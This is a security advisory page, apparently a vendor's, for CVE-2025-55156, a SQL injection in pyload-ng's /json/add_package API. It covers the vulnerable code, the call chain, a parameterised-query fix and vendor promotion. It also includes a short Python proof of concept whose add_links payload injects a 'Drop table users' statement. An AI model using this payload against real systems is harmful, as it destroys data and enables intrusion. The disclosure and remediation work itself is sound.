CVE-2025-55156

CVE-2025-55156 is a high-severity SQL injection vulnerability in pyload-ng (pip), affecting versions < 0.5.0b3.dev91. It is fixed in 0.5.0b3.dev91.

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info

PoC

import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)

Impact

Attackers can modify or delete data in the database, causing data errors or loss.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

Affected versions

pyload-ng (< 0.5.0b3.dev91)

Security releases

pyload-ng → 0.5.0b3.dev91 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

def update_link_info(self, data):
    """
data is list of tuples (name, size, status, url)
"""
    self.c.executemany(
        "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
        data,
    )
    
    # 提取所有url
    urls = [x[3] for x in data]
    
    # 构建参数化查询,避免SQL注入
    placeholders = ','.join(['?'] * len(urls))
    query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
    self.c.execute(query, urls)
    
    ids = [int(row[0]) for row in self.c.fetchall()]
    return ids

Frequently Asked Questions

  1. What is CVE-2025-55156? CVE-2025-55156 is a high-severity SQL injection vulnerability in pyload-ng (pip), affecting versions < 0.5.0b3.dev91. It is fixed in 0.5.0b3.dev91. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. Which versions of pyload-ng are affected by CVE-2025-55156? pyload-ng (pip) versions < 0.5.0b3.dev91 is affected.
  3. Is there a fix for CVE-2025-55156? Yes. CVE-2025-55156 is fixed in 0.5.0b3.dev91. Upgrade to this version or later.
  4. Is CVE-2025-55156 exploitable, and should I be worried? Whether CVE-2025-55156 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2025-55156 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2025-55156? Upgrade pyload-ng to 0.5.0b3.dev91 or later.

Other vulnerabilities in pyload-ng

CVE-2026-46561CVE-2026-45348CVE-2026-45306CVE-2026-44226CVE-2026-42315

Stop the waste.
Protect your environment with Kodem.